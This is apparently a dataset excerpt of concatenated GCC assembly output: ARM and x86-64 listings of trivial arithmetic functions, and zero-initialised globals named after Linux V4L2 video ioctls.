.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov rax, QWORD PTR g[rip]
sub rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size sub3, .-sub3
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "205381.c"
.text
.comm g,4,4
.comm k,4,4
.align 2
.global mul
.syntax unified
.arm
.fpu softvfp
.type mul, %function
mul:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
lsl r3, r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size mul, .-mul
.align 2
.global muli
.syntax unified
.arm
.fpu softvfp
.type muli, %function
muli:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
lsl r3, r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size muli, .-muli
.align 2
.global muli2
.syntax unified
.arm
.fpu softvfp
.type muli2, %function
muli2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, .L7
ldr r3, [r3]
ldr r2, [fp, #-8]
mul r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L8:
.align 2
.L7:
.word k
.size muli2, .-muli2
.align 2
.global mul_assign_to_int
.syntax unified
.arm
.fpu softvfp
.type mul_assign_to_int, %function
mul_assign_to_int:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, [fp, #-16]
lsl r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size mul_assign_to_int, .-mul_assign_to_int
.align 2
.global mul2
.syntax unified
.arm
.fpu softvfp
.type mul2, %function
mul2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
lsl r3, r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size mul2, .-mul2
.global __aeabi_idiv
.align 2
.global div
.syntax unified
.arm
.fpu softvfp
.type div, %function
div:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r1, [fp, #-8]
mov r0, #2
bl __aeabi_idiv
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size div, .-div
.align 2
.global div2
.syntax unified
.arm
.fpu softvfp
.type div2, %function
div2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
lsr r2, r3, #31
add r3, r2, r3
asr r3, r3, #1
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size div2, .-div2
.align 2
.global div3
.syntax unified
.arm
.fpu softvfp
.type div3, %function
div3:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r3, .L19
ldr r3, [r3]
ldr r1, [fp, #-8]
mov r0, r3
bl __aeabi_idiv
mov r3, r0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L20:
.align 2
.L19:
.word g
.size div3, .-div3
.align 2
.global add
.syntax unified
.arm
.fpu softvfp
.type add, %function
add:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
add r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size add, .-add
.align 2
.global add2
.syntax unified
.arm
.fpu softvfp
.type add2, %function
add2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
add r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size add2, .-add2
.align 2
.global sub
.syntax unified
.arm
.fpu softvfp
.type sub, %function
sub:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
rsb r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sub, .-sub
.align 2
.global sub_1
.syntax unified
.arm
.fpu softvfp
.type sub_1, %function
sub_1:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, r3
mul r2, r3, r2
mov r3, r2
rsb r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sub_1, .-sub_1
.align 2
.global sub2
.syntax unified
.arm
.fpu softvfp
.type sub2, %function
sub2:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
sub r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sub2, .-sub2
.align 2
.global sub2_1
.syntax unified
.arm
.fpu softvfp
.type sub2_1, %function
sub2_1:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, r3
mul r2, r3, r2
mov r3, r2
sub r3, r3, #2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sub2_1, .-sub2_1
.align 2
.global sub3
.syntax unified
.arm
.fpu softvfp
.type sub3, %function
sub3:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
ldr r3, .L35
ldr r2, [r3]
ldr r3, [fp, #-8]
sub r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L36:
.align 2
.L35:
.word g
.size sub3, .-sub3
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "468066.c"
.intel_syntax noprefix
.text
.globl BASE_VIDIOC_PRIVATE
.bss
.align 4
.type BASE_VIDIOC_PRIVATE, @object
.size BASE_VIDIOC_PRIVATE, 4
BASE_VIDIOC_PRIVATE:
.zero 4
.globl VFL_DIR_RX
.align 8
.type VFL_DIR_RX, @object
.size VFL_DIR_RX, 8
VFL_DIR_RX:
.zero 8
.globl VFL_DIR_TX
.align 8
.type VFL_DIR_TX, @object
.size VFL_DIR_TX, 8
VFL_DIR_TX:
.zero 8
.globl VFL_TYPE_GRABBER
.align 8
.type VFL_TYPE_GRABBER, @object
.size VFL_TYPE_GRABBER, 8
VFL_TYPE_GRABBER:
.zero 8
.globl VFL_TYPE_RADIO
.align 8
.type VFL_TYPE_RADIO, @object
.size VFL_TYPE_RADIO, 8
VFL_TYPE_RADIO:
.zero 8
.globl VFL_TYPE_SDR
.align 8
.type VFL_TYPE_SDR, @object
.size VFL_TYPE_SDR, 8
VFL_TYPE_SDR:
.zero 8
.globl VFL_TYPE_TOUCH
.align 8
.type VFL_TYPE_TOUCH, @object
.size VFL_TYPE_TOUCH, 8
VFL_TYPE_TOUCH:
.zero 8
.globl VFL_TYPE_VBI
.align 8
.type VFL_TYPE_VBI, @object
.size VFL_TYPE_VBI, 8
VFL_TYPE_VBI:
.zero 8
.globl VIDIOC_CREATE_BUFS
.align 4
.type VIDIOC_CREATE_BUFS, @object
.size VIDIOC_CREATE_BUFS, 4
VIDIOC_CREATE_BUFS:
.zero 4
.globl VIDIOC_CROPCAP
.align 4
.type VIDIOC_CROPCAP, @object
.size VIDIOC_CROPCAP, 4
VIDIOC_CROPCAP:
.zero 4
.globl VIDIOC_DBG_G_CHIP_INFO
.align 4
.type VIDIOC_DBG_G_CHIP_INFO, @object
.size VIDIOC_DBG_G_CHIP_INFO, 4
VIDIOC_DBG_G_CHIP_INFO:
.zero 4
.globl VIDIOC_DBG_G_REGISTER
.align 4
.type VIDIOC_DBG_G_REGISTER, @object
.size VIDIOC_DBG_G_REGISTER, 4
VIDIOC_DBG_G_REGISTER:
.zero 4
.globl VIDIOC_DBG_S_REGISTER
.align 4
.type VIDIOC_DBG_S_REGISTER, @object
.size VIDIOC_DBG_S_REGISTER, 4
VIDIOC_DBG_S_REGISTER:
.zero 4
.globl VIDIOC_DECODER_CMD
.align 4
.type VIDIOC_DECODER_CMD, @object
.size VIDIOC_DECODER_CMD, 4
VIDIOC_DECODER_CMD:
.zero 4
.globl VIDIOC_DQBUF
.align 4
.type VIDIOC_DQBUF, @object
.size VIDIOC_DQBUF, 4
VIDIOC_DQBUF:
.zero 4
.globl VIDIOC_DQEVENT
.align 4
.type VIDIOC_DQEVENT, @object
.size VIDIOC_DQEVENT, 4
VIDIOC_DQEVENT:
.zero 4
.globl VIDIOC_DV_TIMINGS_CAP
.align 4
.type VIDIOC_DV_TIMINGS_CAP, @object
.size VIDIOC_DV_TIMINGS_CAP, 4
VIDIOC_DV_TIMINGS_CAP:
.zero 4
.globl VIDIOC_ENCODER_CMD
.align 4
.type VIDIOC_ENCODER_CMD, @object
.size VIDIOC_ENCODER_CMD, 4
VIDIOC_ENCODER_CMD:
.zero 4
.globl VIDIOC_ENUMAUDIO
.align 4
.type VIDIOC_ENUMAUDIO, @object
.size VIDIOC_ENUMAUDIO, 4
VIDIOC_ENUMAUDIO:
.zero 4
.globl VIDIOC_ENUMAUDOUT
.align 4
.type VIDIOC_ENUMAUDOUT, @object
.size VIDIOC_ENUMAUDOUT, 4
VIDIOC_ENUMAUDOUT:
.zero 4
.globl VIDIOC_ENUMINPUT
.align 4
.type VIDIOC_ENUMINPUT, @object
.size VIDIOC_ENUMINPUT, 4
VIDIOC_ENUMINPUT:
.zero 4
.globl VIDIOC_ENUMOUTPUT
.align 4
.type VIDIOC_ENUMOUTPUT, @object
.size VIDIOC_ENUMOUTPUT, 4
VIDIOC_ENUMOUTPUT:
.zero 4
.globl VIDIOC_ENUMSTD
.align 4
.type VIDIOC_ENUMSTD, @object
.size VIDIOC_ENUMSTD, 4
VIDIOC_ENUMSTD:
.zero 4
.globl VIDIOC_ENUM_DV_TIMINGS
.align 4
.type VIDIOC_ENUM_DV_TIMINGS, @object
.size VIDIOC_ENUM_DV_TIMINGS, 4
VIDIOC_ENUM_DV_TIMINGS:
.zero 4
.globl VIDIOC_ENUM_FMT
.align 4
.type VIDIOC_ENUM_FMT, @object
.size VIDIOC_ENUM_FMT, 4
VIDIOC_ENUM_FMT:
.zero 4
.globl VIDIOC_ENUM_FRAMEINTERVALS
.align 4
.type VIDIOC_ENUM_FRAMEINTERVALS, @object
.size VIDIOC_ENUM_FRAMEINTERVALS, 4
VIDIOC_ENUM_FRAMEINTERVALS:
.zero 4
.globl VIDIOC_ENUM_FRAMESIZES
.align 4
.type VIDIOC_ENUM_FRAMESIZES, @object
.size VIDIOC_ENUM_FRAMESIZES, 4
VIDIOC_ENUM_FRAMESIZES:
.zero 4
.globl VIDIOC_ENUM_FREQ_BANDS
.align 4
.type VIDIOC_ENUM_FREQ_BANDS, @object
.size VIDIOC_ENUM_FREQ_BANDS, 4
VIDIOC_ENUM_FREQ_BANDS:
.zero 4
.globl VIDIOC_EXPBUF
.align 4
.type VIDIOC_EXPBUF, @object
.size VIDIOC_EXPBUF, 4
VIDIOC_EXPBUF:
.zero 4
.globl VIDIOC_G_AUDIO
.align 4
.type VIDIOC_G_AUDIO, @object
.size VIDIOC_G_AUDIO, 4
VIDIOC_G_AUDIO:
.zero 4
.globl VIDIOC_G_AUDOUT
.align 4
.type VIDIOC_G_AUDOUT, @object
.size VIDIOC_G_AUDOUT, 4
VIDIOC_G_AUDOUT:
.zero 4
.globl VIDIOC_G_CROP
.align 4
.type VIDIOC_G_CROP, @object
.size VIDIOC_G_CROP, 4
VIDIOC_G_CROP:
.zero 4
.globl VIDIOC_G_CTRL
.align 4
.type VIDIOC_G_CTRL, @object
.size VIDIOC_G_CTRL, 4
VIDIOC_G_CTRL:
.zero 4
.globl VIDIOC_G_DV_TIMINGS
.align 4
.type VIDIOC_G_DV_TIMINGS, @object
.size VIDIOC_G_DV_TIMINGS, 4
VIDIOC_G_DV_TIMINGS:
.zero 4
.globl VIDIOC_G_EDID
.align 4
.type VIDIOC_G_EDID, @object
.size VIDIOC_G_EDID, 4
VIDIOC_G_EDID:
.zero 4
.globl VIDIOC_G_ENC_INDEX
.align 4
.type VIDIOC_G_ENC_INDEX, @object
.size VIDIOC_G_ENC_INDEX, 4
VIDIOC_G_ENC_INDEX:
.zero 4
.globl VIDIOC_G_EXT_CTRLS
.align 4
.type VIDIOC_G_EXT_CTRLS, @object
.size VIDIOC_G_EXT_CTRLS, 4
VIDIOC_G_EXT_CTRLS:
.zero 4
.globl VIDIOC_G_FBUF
.align 4
.type VIDIOC_G_FBUF, @object
.size VIDIOC_G_FBUF, 4
VIDIOC_G_FBUF:
.zero 4
.globl VIDIOC_G_FMT
.align 4
.type VIDIOC_G_FMT, @object
.size VIDIOC_G_FMT, 4
VIDIOC_G_FMT:
.zero 4
.globl VIDIOC_G_FREQUENCY
.align 4
.type VIDIOC_G_FREQUENCY, @object
.size VIDIOC_G_FREQUENCY, 4
VIDIOC_G_FREQUENCY:
.zero 4
.globl VIDIOC_G_INPUT
.align 4
.type VIDIOC_G_INPUT, @object
.size VIDIOC_G_INPUT, 4
VIDIOC_G_INPUT:
.zero 4
.globl VIDIOC_G_JPEGCOMP
.align 4
.type VIDIOC_G_JPEGCOMP, @object
.size VIDIOC_G_JPEGCOMP, 4
VIDIOC_G_JPEGCOMP:
.zero 4
.globl VIDIOC_G_MODULATOR
.align 4
.type VIDIOC_G_MODULATOR, @object
.size VIDIOC_G_MODULATOR, 4
VIDIOC_G_MODULATOR:
.zero 4
.globl VIDIOC_G_OUTPUT
.align 4
.type VIDIOC_G_OUTPUT, @object
.size VIDIOC_G_OUTPUT, 4
VIDIOC_G_OUTPUT:
.zero 4
.globl VIDIOC_G_PARM
.align 4
.type VIDIOC_G_PARM, @object
.size VIDIOC_G_PARM, 4
VIDIOC_G_PARM:
.zero 4
.globl VIDIOC_G_PRIORITY
.align 4
.type VIDIOC_G_PRIORITY, @object
.size VIDIOC_G_PRIORITY, 4
VIDIOC_G_PRIORITY:
.zero 4
.globl VIDIOC_G_SELECTION
.align 4
.type VIDIOC_G_SELECTION, @object
.size VIDIOC_G_SELECTION, 4
VIDIOC_G_SELECTION:
.zero 4
.globl VIDIOC_G_SLICED_VBI_CAP
.align 4
.type VIDIOC_G_SLICED_VBI_CAP, @object
.size VIDIOC_G_SLICED_VBI_CAP, 4
VIDIOC_G_SLICED_VBI_CAP:
.zero 4
.globl VIDIOC_G_STD
.align 4
.type VIDIOC_G_STD, @object
.size VIDIOC_G_STD, 4
VIDIOC_G_STD:
.zero 4
.globl VIDIOC_G_TUNER
.align 4
.type VIDIOC_G_TUNER, @object
.size VIDIOC_G_TUNER, 4
VIDIOC_G_TUNER:
.zero 4
.globl VIDIOC_LOG_STATUS
.align 4
.type VIDIOC_LOG_STATUS, @object
.size VIDIOC_LOG_STATUS, 4
VIDIOC_LOG_STATUS:
.zero 4
.globl VIDIOC_OVERLAY
.align 4
.type VIDIOC_OVERLAY, @object
.size VIDIOC_OVERLAY, 4
VIDIOC_OVERLAY:
.zero 4
.globl VIDIOC_PREPARE_BUF
.align 4
.type VIDIOC_PREPARE_BUF, @object
.size VIDIOC_PREPARE_BUF, 4
VIDIOC_PREPARE_BUF:
.zero 4
.globl VIDIOC_QBUF
.align 4
.type VIDIOC_QBUF, @object
.size VIDIOC_QBUF, 4
VIDIOC_QBUF:
.zero 4
.globl VIDIOC_QUERYBUF
.align 4
.type VIDIOC_QUERYBUF, @object
.size VIDIOC_QUERYBUF, 4
VIDIOC_QUERYBUF:
.zero 4
.globl VIDIOC_QUERYCAP
.align 4
.type VIDIOC_QUERYCAP, @object
.size VIDIOC_QUERYCAP, 4
VIDIOC_QUERYCAP:
.zero 4
.globl VIDIOC_QUERYCTRL
.align 4
.type VIDIOC_QUERYCTRL, @object
.size VIDIOC_QUERYCTRL, 4
VIDIOC_QUERYCTRL:
.zero 4
.globl VIDIOC_QUERYMENU
.align 4
.type VIDIOC_QUERYMENU, @object
.size VIDIOC_QUERYMENU, 4
VIDIOC_QUERYMENU:
.zero 4
.globl VIDIOC_QUERYSTD
.align 4
.type VIDIOC_QUERYSTD, @object
.size VIDIOC_QUERYSTD, 4
VIDIOC_QUERYSTD:
.zero 4
.globl VIDIOC_QUERY_DV_TIMINGS
.align 4
.type VIDIOC_QUERY_DV_TIMINGS, @object
.size VIDIOC_QUERY_DV_TIMINGS, 4
VIDIOC_QUERY_DV_TIMINGS:
.zero 4
.globl VIDIOC_QUERY_EXT_CTRL
.align 4
.type VIDIOC_QUERY_EXT_CTRL, @object
.size VIDIOC_QUERY_EXT_CTRL, 4
VIDIOC_QUERY_EXT_CTRL:
.zero 4
.globl VIDIOC_REQBUFS
.align 4
.type VIDIOC_REQBUFS, @object
.size VIDIOC_REQBUFS, 4
VIDIOC_REQBUFS:
.zero 4
.globl VIDIOC_STREAMOFF
.align 4
.type VIDIOC_STREAMOFF, @object
.size VIDIOC_STREAMOFF, 4
VIDIOC_STREAMOFF:
.zero 4
.globl VIDIOC_STREAMON
.align 4
.type VIDIOC_STREAMON, @object
.size VIDIOC_STREAMON, 4
VIDIOC_STREAMON:
.zero 4
.globl VIDIOC_SUBSCRIBE_EVENT
.align 4
.type VIDIOC_SUBSCRIBE_EVENT, @object
.size VIDIOC_SUBSCRIBE_EVENT, 4
VIDIOC_SUBSCRIBE_EVENT:
.zero 4
.globl VIDIOC_S_AUDIO
.align 4
.type VIDIOC_S_AUDIO, @object
.size VIDIOC_S_AUDIO, 4
VIDIOC_S_AUDIO:
.zero 4
.globl VIDIOC_S_AUDOUT
.align 4
.type VIDIOC_S_AUDOUT, @object
.size VIDIOC_S_AUDOUT, 4
VIDIOC_S_AUDOUT:
.zero 4
.globl VIDIOC_S_CROP
.align 4
.type VIDIOC_S_CROP, @object
.size VIDIOC_S_CROP, 4
VIDIOC_S_CROP:
.zero 4
.globl VIDIOC_S_CTRL
.align 4
.type VIDIOC_S_CTRL, @object
.size VIDIOC_S_CTRL, 4
VIDIOC_S_CTRL:
.zero 4
.globl VIDIOC_S_DV_TIMINGS
.align 4
.type VIDIOC_S_DV_TIMINGS, @object
.size VIDIOC_S_DV_TIMINGS, 4
VIDIOC_S_DV_TIMINGS:
.zero 4
.globl VIDIOC_S_EDID
.align 4
.type VIDIOC_S_EDID, @object
.size VIDIOC_S_EDID, 4
VIDIOC_S_EDID:
.zero 4
.globl VIDIOC_S_EXT_CTRLS
.align 4
.type VIDIOC_S_EXT_CTRLS, @object
.size VIDIOC_S_EXT_CTRLS, 4
VIDIOC_S_EXT_CTRLS:
.zero 4
.globl VIDIOC_S_FBUF
.align 4
.type VIDIOC_S_FBUF, @object
.size VIDIOC_S_FBUF, 4
VIDIOC_S_FBUF:
.zero 4
.globl VIDIOC_S_FMT
.align 4
.type VIDIOC_S_FMT, @object
.size VIDIOC_S_FMT, 4
VIDIOC_S_FMT:
.zero 4
.globl VIDIOC_S_FREQUENCY
.align 4
.type VIDIOC_S_FREQUENCY, @object
.size VIDIOC_S_FREQUENCY, 4
VIDIOC_S_FREQUENCY:
.zero 4
.globl VIDIOC_S_HW_FREQ_SEEK
.align 4
.type VIDIOC_S_HW_FREQ_SEEK, @object
.size VIDIOC_S_HW_FREQ_SEEK, 4
VIDIOC_S_HW_FREQ_SEEK:
.zero 4
.globl VIDIOC_S_INPUT
.align 4
.type VIDIOC_S_INPUT, @object
.size VIDIOC_S_INPUT, 4
VIDIOC_S_INPUT:
.zero 4
.globl VIDIOC_S_JPEGCOMP
.align 4
.type VIDIOC_S_JPEGCOMP, @object
.size VIDIOC_S_JPEGCOMP, 4
VIDIOC_S_JPEGCOMP:
.zero 4
.globl VIDIOC_S_MODULATOR
.align 4
.type VIDIOC_S_MODULATOR, @object
.size VIDIOC_S_MODULATOR, 4
VIDIOC_S_MODULATOR:
.zero 4
.globl VIDIOC_S_OUTPUT
.align 4
.type VIDIOC_S_OUTPUT, @object
.size VIDIOC_S_OUTPUT, 4
VIDIOC_S_OUTPUT:
.zero 4
.globl VIDIOC_S_PARM
.align 4
.type VIDIOC_S_PARM, @object
.size VIDIOC_S_PARM, 4
VIDIOC_S_PARM:
.zero 4
.globl VIDIOC_S_PRIORITY
.align 4
.type VIDIOC_S_PRIORITY, @object
.size VIDIOC_S_PRIORITY, 4
VIDIOC_S_PRIORITY:
.zero 4
.globl VIDIOC_S_SELECTION
.align 4
.type VIDIOC_S_SELECTION, @object
.size VIDIOC_S_SELECTION, 4
VIDIOC_S_SELECTION:
.zero 4
.globl VIDIOC_S_STD
.align 4
.type VIDIOC_S_STD, @object
.size VIDIOC_S_STD, 4
VIDIOC_S_STD:
.zero 4
.globl VIDIOC_S_TUNER
.align 4
.type VIDIOC_S_TUNER, @object
.size VIDIOC_S_TUNER, 4
VIDIOC_S_TUNER:
.zero 4
.globl VIDIOC_TRY_DECODER_CMD
.align 4
.type VIDIOC_TRY_DECODER_CMD, @object
.size VIDIOC_TRY_DECODER_CMD, 4
VIDIOC_TRY_DECODER_CMD:
.zero 4
.globl VIDIOC_TRY_ENCODER_CMD
.align 4
.type VIDIOC_TRY_ENCODER_CMD, @object
.size VIDIOC_TRY_ENCODER_CMD, 4
VIDIOC_TRY_ENCODER_CMD:
.zero 4
.globl VIDIOC_TRY_EXT_CTRLS
.align 4
.type VIDIOC_TRY_EXT_CTRLS, @object
.size VIDIOC_TRY_EXT_CTRLS, 4
VIDIOC_TRY_EXT_CTRLS:
.zero 4
.globl VIDIOC_TRY_FMT
.align 4
.type VIDIOC_TRY_FMT, @object
.size VIDIOC_TRY_FMT, 4
VIDIOC_TRY_FMT:
.zero 4
.globl VIDIOC_UNSUBSCRIBE_EVENT
.align 4
.type VIDIOC_UNSUBSCRIBE_EVENT, @object
.size VIDIOC_UNSUBSCRIBE_EVENT, 4
VIDIOC_UNSUBSCRIBE_EVENT:
.zero 4
.globl valid_ioctls
.align 4
.type valid_ioctls, @object
.size valid_ioctls, 4
valid_ioctls:
.zero 4
.globl vidioc_create_bufs
.align 4
.type vidioc_create_bufs, @object
.size vidioc_create_bufs, 4
vidioc_create_bufs:
.zero 4
.globl vidioc_decoder_cmd
.align 4
.type vidioc_decoder_cmd, @object
.size vidioc_decoder_cmd, 4
vidioc_decoder_cmd:
.zero 4
.globl vidioc_dqbuf
.align 4
.type vidioc_dqbuf, @object
.size vidioc_dqbuf, 4
vidioc_dqbuf:
.zero 4
.globl vidioc_dv_timings_cap
.align 4
.type vidioc_dv_timings_cap, @object
.size vidioc_dv_timings_cap, 4
vidioc_dv_timings_cap:
.zero 4
.globl vidioc_encoder_cmd
.align 4
.type vidioc_encoder_cmd, @object
.size vidioc_encoder_cmd, 4
vidioc_encoder_cmd:
.zero 4
.globl vidioc_enum_dv_timings
.align 4
.type vidioc_enum_dv_timings, @object
.size vidioc_enum_dv_timings, 4
vidioc_enum_dv_timings:
.zero 4
.globl vidioc_enum_frameintervals
.align 4
.type vidioc_enum_frameintervals, @object
.size vidioc_enum_frameintervals, 4
vidioc_enum_frameintervals:
.zero 4
.globl vidioc_enum_framesizes
.align 4
.type vidioc_enum_framesizes, @object
.size vidioc_enum_framesizes, 4
vidioc_enum_framesizes:
.zero 4
.globl vidioc_enum_input
.align 4
.type vidioc_enum_input, @object
.size vidioc_enum_input, 4
vidioc_enum_input:
.zero 4
.globl vidioc_enum_output
.align 4
.type vidioc_enum_output, @object
.size vidioc_enum_output, 4
vidioc_enum_output:
.zero 4
.globl vidioc_enumaudio
.align 4
.type vidioc_enumaudio, @object
.size vidioc_enumaudio, 4
vidioc_enumaudio:
.zero 4
.globl vidioc_enumaudout
.align 4
.type vidioc_enumaudout, @object
.size vidioc_enumaudout, 4
vidioc_enumaudout:
.zero 4
.globl vidioc_expbuf
.align 4
.type vidioc_expbuf, @object
.size vidioc_expbuf, 4
vidioc_expbuf:
.zero 4
.globl vidioc_g_audio
.align 4
.type vidioc_g_audio, @object
.size vidioc_g_audio, 4
vidioc_g_audio:
.zero 4
.globl vidioc_g_audout
.align 4
.type vidioc_g_audout, @object
.size vidioc_g_audout, 4
vidioc_g_audout:
.zero 4
.globl vidioc_g_dv_timings
.align 4
.type vidioc_g_dv_timings, @object
.size vidioc_g_dv_timings, 4
vidioc_g_dv_timings:
.zero 4
.globl vidioc_g_edid
.align 4
.type vidioc_g_edid, @object
.size vidioc_g_edid, 4
vidioc_g_edid:
.zero 4
.globl vidioc_g_enc_index
.align 4
.type vidioc_g_enc_index, @object
.size vidioc_g_enc_index, 4
vidioc_g_enc_index:
.zero 4
.globl vidioc_g_fbuf
.align 4
.type vidioc_g_fbuf, @object
.size vidioc_g_fbuf, 4
vidioc_g_fbuf:
.zero 4
.globl vidioc_g_frequency
.align 4
.type vidioc_g_frequency, @object
.size vidioc_g_frequency, 4
vidioc_g_frequency:
.zero 4
.globl vidioc_g_input
.align 4
.type vidioc_g_input, @object
.size vidioc_g_input, 4
vidioc_g_input:
.zero 4
.globl vidioc_g_jpegcomp
.align 4
.type vidioc_g_jpegcomp, @object
.size vidioc_g_jpegcomp, 4
vidioc_g_jpegcomp:
.zero 4
.globl vidioc_g_modulator
.align 4
.type vidioc_g_modulator, @object
.size vidioc_g_modulator, 4
vidioc_g_modulator:
.zero 4
.globl vidioc_g_output
.align 4
.type vidioc_g_output, @object
.size vidioc_g_output, 4
vidioc_g_output:
.zero 4
.globl vidioc_g_selection
.align 4
.type vidioc_g_selection, @object
.size vidioc_g_selection, 4
vidioc_g_selection:
.zero 4
.globl vidioc_g_sliced_vbi_cap
.align 4
.type vidioc_g_sliced_vbi_cap, @object
.size vidioc_g_sliced_vbi_cap, 4
vidioc_g_sliced_vbi_cap:
.zero 4
.globl vidioc_g_std
.align 4
.type vidioc_g_std, @object
.size vidioc_g_std, 4
vidioc_g_std:
.zero 4
.globl vidioc_g_tuner
.align 4
.type vidioc_g_tuner, @object
.size vidioc_g_tuner, 4
vidioc_g_tuner:
.zero 4
.globl vidioc_log_status
.align 4
.type vidioc_log_status, @object
.size vidioc_log_status, 4
vidioc_log_status:
.zero 4
.globl vidioc_overlay
.align 4
.type vidioc_overlay, @object
.size vidioc_overlay, 4
vidioc_overlay:
.zero 4
.globl vidioc_prepare_buf
.align 4
.type vidioc_prepare_buf, @object
.size vidioc_prepare_buf, 4
vidioc_prepare_buf:
.zero 4
.globl vidioc_qbuf
.align 4
.type vidioc_qbuf, @object
.size vidioc_qbuf, 4
vidioc_qbuf:
.zero 4
.globl vidioc_query_dv_timings
.align 4
.type vidioc_query_dv_timings, @object
.size vidioc_query_dv_timings, 4
vidioc_query_dv_timings:
.zero 4
.globl vidioc_querybuf
.align 4
.type vidioc_querybuf, @object
.size vidioc_querybuf, 4
vidioc_querybuf:
.zero 4
.globl vidioc_querycap
.align 4
.type vidioc_querycap, @object
.size vidioc_querycap, 4
vidioc_querycap:
.zero 4
.globl vidioc_querystd
.align 4
.type vidioc_querystd, @object
.size vidioc_querystd, 4
vidioc_querystd:
.zero 4
.globl vidioc_reqbufs
.align 4
.type vidioc_reqbufs, @object
.size vidioc_reqbufs, 4
vidioc_reqbufs:
.zero 4
